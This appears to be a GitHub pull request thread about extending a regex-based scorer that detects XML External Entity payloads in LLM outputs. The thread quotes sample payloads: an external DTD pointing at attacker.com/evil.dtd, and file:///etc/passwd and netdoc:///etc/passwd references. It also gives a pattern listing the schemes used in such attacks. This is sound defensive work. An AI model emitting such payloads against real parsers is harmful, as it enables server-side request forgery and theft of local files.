[Vardhman Gupta (Kaap10)]

Description

XXEOutputScorer detects XML External Entity payloads emitted in LLM responses. Currently, its default patterns require the <!ENTITY keyword across all three patterns.

This leaves two blindspots:

1. Direct External DTD References: An external DTD can be referenced directly in the root <!DOCTYPE> element (<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd"> or <!DOCTYPE test SYSTEM "file:///etc/passwd">) without declaring any inline entity. Parsers configured to resolve external DTDs dereference these immediately, triggering SSRF or local file leakage.
2. Missing URI Schemes: Java's netdoc:///etc/passwd protocol handler (commonly used in JDK XXE bypasses and directory listing) and gopher:// (used in XXE-to-SSRF attacks) were missing from the scheme list.

This PR adds:

• netdoc and gopher to "External Entity Declaration".
• A dedicated "External DTD Declaration" pattern requiring explicit protocol scheme targets ((?:file|https?|ftp|gopher|php|expect|jar|netdoc):), ensuring zero false positives on standard HTML5 <!DOCTYPE html> or relative DTD files (note.dtd).

Fixes #3485

Tests and Documentation

• Added unit tests in tests/unit/score/regex/test_xxe_output_scorer.py covering direct external DTDs (SYSTEM and PUBLIC), netdoc:///, and gopher://.
• Added negative unit tests verifying that relative DTD references (<!DOCTYPE note SYSTEM "note.dtd">) and element-only DOCTYPEs do not match.
• Added rationale attribution test for "External DTD Declaration".
• All 20 unit tests passing cleanly.
• Code style verified with ruff check and ruff format.

[Richard Lundeen (richlundeen)]

Looks good. This extends the existing regex approach to direct external DTD declarations and the additional schemes without adding a new parsing layer.

Reviewed with GitHub Copilot.

[Vardhman Gupta (Kaap10)]

Hi Richard Lundeen (@richlundeen),

I have rebased the branch onto the latest main to cleanly resolve the merge conflict with #3429 (XInclude detection). The external DTD patterns and newly added XInclude rules coexist cleanly, and all unit tests in test_xxe_output_scorer.py pass.

This PR is now up to date and ready for review/merge queue. Thank you!